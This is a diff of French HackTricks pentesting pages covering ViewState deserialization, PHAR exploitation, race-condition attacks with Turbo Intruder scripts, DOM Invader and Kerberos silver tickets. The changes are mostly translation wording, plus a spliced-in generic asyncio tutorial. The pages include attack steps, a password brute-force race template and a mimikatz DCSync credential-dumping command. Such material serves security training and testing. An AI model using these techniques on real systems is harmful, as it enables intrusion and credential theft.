Dans ce cas, Burp ne parvient pas à déterminer si le paramètre est protégé par un MAC car il ne reconnaît pas les valeurs. Ensuite, la valeur est probablement chiffrée et vous **avez besoin de la clé de machine pour chiffrer votre charge utile** afin d'exploiter la vulnérabilité.
|
||||
Dans ce cas, Burp ne détecte pas si le paramètre est protégé par un MAC car il ne reconnaît pas les valeurs. Ensuite, la valeur est probablement chiffrée et vous **avez besoin de la clé de machine pour chiffrer votre charge utile** afin d'exploiter la vulnérabilité.
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.0.png)
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/3.0.png)
|
||||
|
||||
**Dans ce cas, le module** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **est en cours de développement...**
|
||||
|
||||
Avant .NET 4.5, ASP.NET peut **accepter** un paramètre \_`__VIEWSTATE`\_ **non chiffré** des utilisateurs même si **`ViewStateEncryptionMode`** a été défini sur _**Always**_. ASP.NET **vérifie uniquement** la **présence** du paramètre **`__VIEWSTATEENCRYPTED`** dans la requête. **Si on supprime ce paramètre et qu'on envoie la charge utile non chiffrée, elle sera quand même traitée**.
|
||||
|
||||
Par conséquent, si la clé de machine est connue (par exemple, via un problème de traversée de répertoire), la commande [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilisée dans le **Cas 2** peut être utilisée pour exécuter une RCE en exploitant la vulnérabilité de désérialisation de ViewState.
|
||||
Par conséquent, si la clé de machine est connue (par exemple via une vulnérabilité de traversée de répertoire), la commande [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilisée dans le **Cas 2** peut être utilisée pour exécuter une RCE en exploitant la vulnérabilité de désérialisation de ViewState.
|
||||
|
||||
* Supprimez le paramètre `__VIEWSTATEENCRYPTED` de la requête afin d'exploiter la vulnérabilité de désérialisation de ViewState, sinon une erreur de validation MAC du ViewState sera renvoyée et l'exploitation échouera comme indiqué dans la figure :
|
||||
* Supprimez le paramètre `__VIEWSTATEENCRYPTED` de la requête afin d'exploiter la vulnérabilité de désérialisation de ViewState, sinon une erreur de validation du MAC du ViewState sera renvoyée et l'exploitation échouera comme indiqué dans la figure :
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.1.png)
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/3.1.png)
|
||||
|
||||
### Cas de test : 4 - .Net >= 4.5 et EnableViewStateMac=true/false et ViewStateEncryptionMode=true/false sauf si les deux attributs sont définis sur false
|
||||
|
||||
|
@ -181,29 +181,29 @@ Si la vulnérabilité de désérialisation de ViewState est exploitée avec succ
|
|||
|
||||
### Cas de test 6 - ViewStateUserKeys est utilisé
|
||||
|
||||
La propriété **ViewStateUserKey** peut être utilisée pour se défendre contre une attaque CSRF. Si une telle clé a été définie dans l'application et que nous essayons de générer la charge utile ViewState avec les méthodes discutées jusqu'à présent, la charge utile ne sera pas traitée par l'application.\
|
||||
La propriété **ViewStateUserKey** peut être utilisée pour se **défendre** contre une **attaque CSRF**. Si une telle clé a été définie dans l'application et que nous essayons de générer la charge utile **ViewState** avec les méthodes discutées jusqu'à présent, la **charge utile ne sera pas traitée par l'application**.\
|
||||
Vous devez utiliser un paramètre supplémentaire pour créer correctement la charge utile :
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
```
|
||||
### Résultat d'une exploitation réussie <a href="#poc" id="poc"></a>
|
||||
|
||||
Pour tous les cas de test, si la charge utile ViewState YSoSerial.Net fonctionne **avec succès**, le serveur répond avec une erreur interne "500 Internal server error" et le contenu de la réponse est "The state information is invalid for this page and might be corrupted". Nous obtenons également la requête OOB comme indiqué dans les figures ci-dessous :
|
||||
Pour tous les cas de test, si la charge utile ViewState YSoSerial.Net fonctionne **avec succès**, le serveur répond avec une erreur interne "500 Internal server error" et le contenu de la réponse est "The state information is invalid for this page and might be corrupted". Nous obtenons également la demande OOB comme indiqué dans les figures ci-dessous :
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png)
|
||||
|
||||
Requête hors bande avec le nom d'utilisateur actuel
|
||||
demande hors bande avec le nom d'utilisateur actuel
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/5.1POC-of-Seccuessful-exploitation.png)
|
||||
|
||||
## Références
|
||||
|
||||
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
|
||||
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
@ -77,7 +77,7 @@ Notez comment les **octets magiques de JPG** (`\xff\xd8\xff`) sont ajoutés au d
|
|||
```bash
|
||||
php --define phar.readonly=0 create_phar.php
|
||||
```
|
||||
Et exécutez la commande `whoami` en exploitant le code vulnérable avec :
|
||||
Et exécutez la commande `whoami` en exploitant le code vulnérable avec:
|
||||
```bash
|
||||
php vuln.php
|
||||
```
|
||||
|
@ -85,7 +85,7 @@ php vuln.php
|
|||
|
||||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
|
|
|
@ -52,7 +52,7 @@ Notez que cela **ne fonctionne pas pour les fichiers statiques** sur certains se
|
|||
|
||||
En utilisant cette technique, vous pouvez faire en sorte que 20 à 30 requêtes arrivent simultanément sur le serveur, indépendamment des variations du réseau :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Adaptation à l'architecture cible**
|
||||
|
||||
|
@ -71,13 +71,13 @@ Si le réchauffement de la connexion ne fait aucune différence, il existe diff
|
|||
|
||||
En utilisant Turbo Intruder, vous pouvez introduire un court délai côté client. Cependant, comme cela implique de diviser vos requêtes d'attaque réelles en plusieurs paquets TCP, vous ne pourrez pas utiliser la technique d'attaque en un seul paquet. Par conséquent, sur des cibles à forte gigue, l'attaque est peu susceptible de fonctionner de manière fiable, quel que soit le délai que vous définissez.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Au lieu de cela, vous pouvez résoudre ce problème en abusant d'une fonctionnalité de sécurité courante.
|
||||
|
||||
Les serveurs Web retardent souvent le traitement des requêtes s'il en est envoyé trop rapidement. En envoyant un grand nombre de requêtes factices pour déclencher intentionnellement la limite de taux ou de ressources, vous pouvez provoquer un délai approprié côté serveur. Cela rend l'attaque en un seul paquet viable même lorsque l'exécution retardée est nécessaire.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Pour plus d'informations sur cette technique, consultez le rapport original sur [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
|
@ -85,11 +85,11 @@ Pour plus d'informations sur cette technique, consultez le rapport original sur
|
|||
|
||||
#### Exemples d'attaque
|
||||
|
||||
* **Tubo Intruder - Attaque en un seul paquet HTTP2 (1 point d'extrémité)**: Vous pouvez envoyer la requête à **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), vous pouvez modifier dans la requête la valeur que vous souhaitez forcer par **`%s`** comme dans `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` puis sélectionnez **`examples/race-single-packer-attack.py`** dans la liste déroulante:
|
||||
* **Tubo Intruder - Attaque en un seul paquet HTTP2 (1 point d'extrémité)**: Vous pouvez envoyer la requête à **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), vous pouvez modifier dans la requête la valeur que vous souhaitez forcer pour **`%s`** comme dans `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` puis sélectionnez **`examples/race-single-packer-attack.py`** dans la liste déroulante :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous allez **envoyer des valeurs différentes**, vous pouvez modifier le code avec celui-ci qui utilise une liste de mots depuis le presse-papiers:
|
||||
Si vous allez **envoyer différentes valeurs**, vous pouvez modifier le code avec celui-ci qui utilise une liste de mots depuis le presse-papiers :
|
||||
```python
|
||||
passwords = wordlists.clipboard
|
||||
for password in passwords:
|
||||
|
@ -136,14 +136,14 @@ engine.openGate(currentAttempt)
|
|||
* Pour **retarder** le processus **entre** le traitement **d'une requête et d'une autre** en deux étapes de sous-états, vous pouvez **ajouter des requêtes supplémentaires entre** les deux requêtes.
|
||||
* Pour un RC à **multi-point d'extrémité**, vous pouvez commencer par envoyer la **requête** qui **va vers l'état caché** puis **50 requêtes** juste après qui **exploitent l'état caché**.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Bruteforce brut
|
||||
|
||||
Avant les recherches précédentes, voici quelques charges utiles utilisées qui tentaient simplement d'envoyer les paquets aussi rapidement que possible pour provoquer un RC.
|
||||
|
||||
* **Repeater:** Consultez les exemples de la section précédente.
|
||||
* **Intruder**: Envoyez la **requête** à **Intruder**, définissez le **nombre de threads** sur **30** dans le menu **Options**, sélectionnez comme charge utile **Null payloads** et générez **30**.
|
||||
* **Intruder**: Envoyez la **requête** à **Intruder**, définissez le **nombre de threads** à **30** dans le menu **Options**, sélectionnez comme charge utile **Null payloads** et générez **30**.
|
||||
* **Turbo Intruder**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
|
@ -164,6 +164,38 @@ def handleResponse(req, interesting):
|
|||
table.add(req)
|
||||
```
|
||||
* **Python - asyncio**
|
||||
|
||||
La bibliothèque `asyncio` de Python est utilisée pour écrire du code asynchrone de manière concurrente. Elle permet d'exécuter des tâches en parallèle, ce qui est particulièrement utile pour les opérations d'entrée/sortie (I/O) intensives, telles que les appels réseau.
|
||||
|
||||
L'asynchronisme est basé sur le concept de coroutines, qui sont des fonctions spéciales pouvant être suspendues et reprises ultérieurement. Cela permet d'éviter les blocages et d'optimiser l'utilisation des ressources.
|
||||
|
||||
`asyncio` fournit également des primitives pour gérer les événements, les boucles d'événements et les tâches. Les événements sont des objets qui se produisent lorsqu'une opération asynchrone est terminée, tandis que les boucles d'événements sont responsables de l'exécution des coroutines et de la gestion des événements.
|
||||
|
||||
Pour utiliser `asyncio`, vous devez définir des coroutines en utilisant le mot-clé `async` et les exécuter dans une boucle d'événements à l'aide de la fonction `run_until_complete`. Vous pouvez également utiliser des mots-clés tels que `await` pour suspendre l'exécution d'une coroutine jusqu'à ce qu'une opération asynchrone soit terminée.
|
||||
|
||||
Voici un exemple simple d'utilisation de `asyncio` pour effectuer une requête HTTP asynchrone :
|
||||
|
||||
```python
|
||||
import asyncio
|
||||
import aiohttp
|
||||
|
||||
async def fetch(url):
|
||||
async with aiohttp.ClientSession() as session:
|
||||
async with session.get(url) as response:
|
||||
return await response.text()
|
||||
|
||||
async def main():
|
||||
url = "https://example.com"
|
||||
response = await fetch(url)
|
||||
print(response)
|
||||
|
||||
loop = asyncio.get_event_loop()
|
||||
loop.run_until_complete(main())
|
||||
```
|
||||
|
||||
Dans cet exemple, la fonction `fetch` est une coroutine qui utilise la bibliothèque `aiohttp` pour effectuer une requête HTTP asynchrone. La fonction `main` est également une coroutine qui appelle `fetch` et attend la réponse. Enfin, la boucle d'événements exécute la coroutine `main` jusqu'à ce qu'elle soit terminée.
|
||||
|
||||
`asyncio` est un outil puissant pour écrire du code asynchrone en Python, ce qui peut améliorer les performances et l'efficacité de vos applications.
|
||||
```python
|
||||
import asyncio
|
||||
import httpx
|
||||
|
@ -203,7 +235,7 @@ Il existe de nombreuses variations de ce type d'attaque, notamment :
|
|||
* Noter un produit plusieurs fois
|
||||
* Retirer ou transférer de l'argent en excédent de votre solde de compte
|
||||
* Réutiliser une solution CAPTCHA unique
|
||||
* Contourner une limite de taux anti-brute force
|
||||
* Contourner une limite de taux anti-brute-force
|
||||
|
||||
### **Sous-états cachés**
|
||||
|
||||
|
@ -211,7 +243,7 @@ Les RC les plus complexes exploiteront des **sous-états dans l'état de la mach
|
|||
|
||||
1. **Prédire les sous-états cachés et intéressants potentiels**
|
||||
|
||||
La première étape consiste à identifier tous les points d'extrémité qui écrivent ou lisent des données à partir de celles-ci, puis utilisent ces données pour quelque chose d'important. Par exemple, les utilisateurs peuvent être stockés dans une table de base de données qui est modifiée lors de l'inscription, de la modification du profil, de l'initiation de la réinitialisation du mot de passe et de la finalisation de la réinitialisation du mot de passe.
|
||||
La première étape consiste à identifier tous les points d'extrémité qui écrivent ou lisent des données à partir de ceux-ci, puis utilisent ces données pour quelque chose d'important. Par exemple, les utilisateurs peuvent être stockés dans une table de base de données qui est modifiée lors de l'inscription, de la modification du profil, de l'initiation de la réinitialisation du mot de passe et de la finalisation de la réinitialisation du mot de passe.
|
||||
|
||||
Nous pouvons utiliser trois questions clés pour exclure les points d'extrémité qui sont peu susceptibles de provoquer des collisions. Pour chaque objet et les points d'extrémité associés, demandez-vous :
|
||||
|
||||
|
@ -223,17 +255,17 @@ Les applications stockent souvent certains états dans la session utilisateur. C
|
|||
|
||||
* **Effectuons-nous une modification ou un ajout ?**
|
||||
|
||||
Les opérations qui modifient des données existantes (comme le changement de l'adresse e-mail principale d'un compte) ont un potentiel de collision important, tandis que les actions qui se contentent d'ajouter des données existantes (comme l'ajout d'une adresse e-mail supplémentaire) sont peu susceptibles d'être vulnérables à autre chose qu'à des attaques de dépassement de limite.
|
||||
Les opérations qui modifient des données existantes (comme le changement de l'adresse e-mail principale d'un compte) ont un potentiel de collision important, tandis que les actions qui se contentent d'ajouter des données existantes (comme l'ajout d'une adresse e-mail supplémentaire) sont peu susceptibles d'être vulnérables à autre chose que des attaques de dépassement de limite.
|
||||
|
||||
* **Sur quoi l'opération est-elle basée ?**
|
||||
|
||||
La plupart des points d'extrémité fonctionnent sur un enregistrement spécifique, qui est recherché à l'aide d'une "clé", telle qu'un nom d'utilisateur, un jeton de réinitialisation de mot de passe ou un nom de fichier. Pour une attaque réussie, nous avons besoin de deux opérations qui utilisent la même clé. Par exemple, imaginons deux implémentations plausibles de réinitialisation de mot de passe :
|
||||
La plupart des points d'extrémité fonctionnent sur un enregistrement spécifique, qui est recherché à l'aide d'une « clé », telle qu'un nom d'utilisateur, un jeton de réinitialisation de mot de passe ou un nom de fichier. Pour une attaque réussie, nous avons besoin de deux opérations qui utilisent la même clé. Par exemple, imaginons deux implémentations plausibles de réinitialisation de mot de passe :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. **Rechercher des indices**
|
||||
|
||||
À ce stade, il est temps de **lancer des attaques RC** sur les points d'extrémité potentiellement intéressants pour essayer de trouver des résultats inattendus par rapport aux résultats habituels. **Toute déviation de la réponse attendue**, telle qu'un changement dans une ou plusieurs réponses, ou un effet de second ordre tel que des contenus d'e-mail différents ou un changement visible dans votre session, pourrait être un indice indiquant un problème.
|
||||
À ce stade, il est temps de **lancer des attaques RC** sur les points d'extrémité potentiellement intéressants pour essayer de trouver des résultats inattendus par rapport aux résultats réguliers. **Toute déviation de la réponse attendue**, telle qu'un changement dans une ou plusieurs réponses, ou un effet de second ordre tel que des contenus d'e-mail différents ou un changement visible dans votre session, pourrait être un indice indiquant un problème.
|
||||
|
||||
3. **Prouver le concept**
|
||||
|
||||
|
@ -243,7 +275,7 @@ Lorsque vous envoyez un lot de requêtes, vous pouvez constater qu'une paire de
|
|||
|
||||
### Attaques sensibles au temps
|
||||
|
||||
Parfois, vous ne trouverez peut-être pas de conditions de concurrence, mais les **techniques permettant de livrer des requêtes avec une synchronisation précise** peuvent néanmoins révéler la présence d'autres vulnérabilités.
|
||||
Parfois, vous ne trouverez peut-être pas de conditions de concurrence, mais les **techniques de livraison de requêtes avec une synchronisation précise** peuvent toujours révéler la présence d'autres vulnérabilités.
|
||||
|
||||
Un exemple est lorsque des **horodatages haute résolution sont utilisés au lieu de chaînes aléatoires cryptographiquement** sécurisées pour générer des jetons de sécurité.
|
||||
|
||||
|
@ -253,7 +285,7 @@ Considérons un **jeton de réinitialisation de mot de passe qui n'est aléatoir
|
|||
Pour confirmer par exemple la situation précédente, vous pourriez simplement demander **2 jetons de réinitialisation de mot de passe en même temps** (en utilisant une attaque à paquet unique) et vérifier s'ils sont **identiques**.
|
||||
{% endhint %}
|
||||
|
||||
Consultez l'[**exemple dans ce laboratoire**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities).
|
||||
Consultez [**l'exemple dans ce laboratoire**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities).
|
||||
|
||||
## Études de cas sur les sous-états cachés
|
||||
|
||||
|
@ -281,7 +313,7 @@ Consultez [**ce laboratoire**](https://portswigger.net/web-security/race-conditi
|
|||
|
||||
### Contourner l'authentification à deux facteurs (2FA)
|
||||
|
||||
Le pseudo-code suivant montre comment un site web pourrait être vulnérable à une variation de cette attaque basée sur la concurrence :
|
||||
Le pseudo-code suivant démontre comment un site Web pourrait être vulnérable à une variation de cette attaque basée sur la concurrence :
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
|
@ -317,8 +349,8 @@ Une fois que vous avez **obtenu un RT valide**, vous pouvez essayer de **l'explo
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs.
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com).
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
|
|
@ -5,7 +5,7 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
@ -31,7 +31,7 @@ Dans le navigateur intégré de Burp, accédez à l'**extension Burp** et active
|
|||
|
||||
Actualisez ensuite la page et dans les **Dev Tools**, vous trouverez l'onglet **DOM Invader** :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Injecter un canari
|
||||
|
||||
|
@ -43,7 +43,7 @@ De plus, les options **Injecter les paramètres d'URL** et **Injecter les formul
|
|||
|
||||
Si vous voulez simplement trouver les cibles potentielles que la page pourrait avoir, même si elles ne sont pas exploitables, vous pouvez **rechercher un canari vide**.
|
||||
|
||||
### Messages web
|
||||
### Messages postés
|
||||
|
||||
DOM Invader permet de tester les DOM XSS à l'aide de messages web avec des fonctionnalités telles que :
|
||||
|
||||
|
@ -55,9 +55,9 @@ DOM Invader permet de tester les DOM XSS à l'aide de messages web avec des fonc
|
|||
|
||||
Vous pouvez cliquer sur chaque message pour afficher des informations plus détaillées à son sujet, notamment si les propriétés `origin`, `data` ou `source` du message sont accessibles par le JavaScript côté client.
|
||||
|
||||
* **`origin`** : Si les **informations d'origine du message ne sont pas vérifiées**, vous pouvez être en mesure d'envoyer des messages inter-domaines à l'**event handler depuis un domaine externe arbitraire**. Mais si c'est vérifié, cela pourrait toujours être insecure.
|
||||
* **`origin`** : Si les **informations d'origine du message ne sont pas vérifiées**, vous pouvez être en mesure d'envoyer des messages inter-domaines à l'**écouteur d'événements depuis un domaine externe arbitraire**. Mais si cela est vérifié, cela peut toujours être non sécurisé.
|
||||
* **`data`** : C'est là que la charge utile est envoyée. Si ces données ne sont pas utilisées, la cible est inutile.
|
||||
* **`source`** : Évalue si la propriété source, faisant généralement référence à un iframe, est validée au lieu de l'origine. Même si cela est vérifié, cela ne garantit pas que la validation ne peut pas être contournée.
|
||||
* **`source`** : Évalue si la propriété source, faisant généralement référence à un iframe, est validée plutôt que l'origine. Même si cela est vérifié, cela ne garantit pas que la validation ne peut pas être contournée.
|
||||
|
||||
#### Répondre à un message
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
@ -22,7 +22,7 @@ Si vous êtes intéressé par une **carrière de piratage** et que vous voulez p
|
|||
|
||||
L'attaque du ticket d'argent est basée sur **la création d'un TGS valide pour un service une fois que le hachage NTLM du service est obtenu** (comme le **hachage du compte PC**). Ainsi, il est possible d'**accéder à ce service** en falsifiant un TGS personnalisé **en tant que n'importe quel utilisateur**.
|
||||
|
||||
Dans ce cas, le **hachage NTLM d'un compte d'ordinateur** (qui est une sorte de compte utilisateur dans AD) est **possédé**. Par conséquent, il est possible de **créer** un **ticket** afin de **pénétrer dans cette machine** avec des privilèges d'**administrateur** via le service SMB. Les comptes d'ordinateur réinitialisent leurs mots de passe tous les 30 jours par défaut.
|
||||
Dans ce cas, le **hachage NTLM d'un compte d'ordinateur** (qui est une sorte de compte utilisateur dans AD) est **obtenu**. Par conséquent, il est possible de **créer** un **ticket** afin de **pénétrer dans cette machine** avec des privilèges d'**administrateur** via le service SMB. Les comptes d'ordinateur réinitialisent leurs mots de passe tous les 30 jours par défaut.
|
||||
|
||||
Il faut également prendre en compte qu'il est possible ET **PRÉFÉRABLE** (opsec) de **falsifier des tickets en utilisant les clés Kerberos AES (AES128 et AES256)**. Pour savoir comment générer une clé AES, consultez la section 4.4 de MS-KILE ou le script [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372).
|
||||
|
||||
|
@ -158,9 +158,9 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
|
|||
[dcsync.md](dcsync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -168,8 +168,8 @@ Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
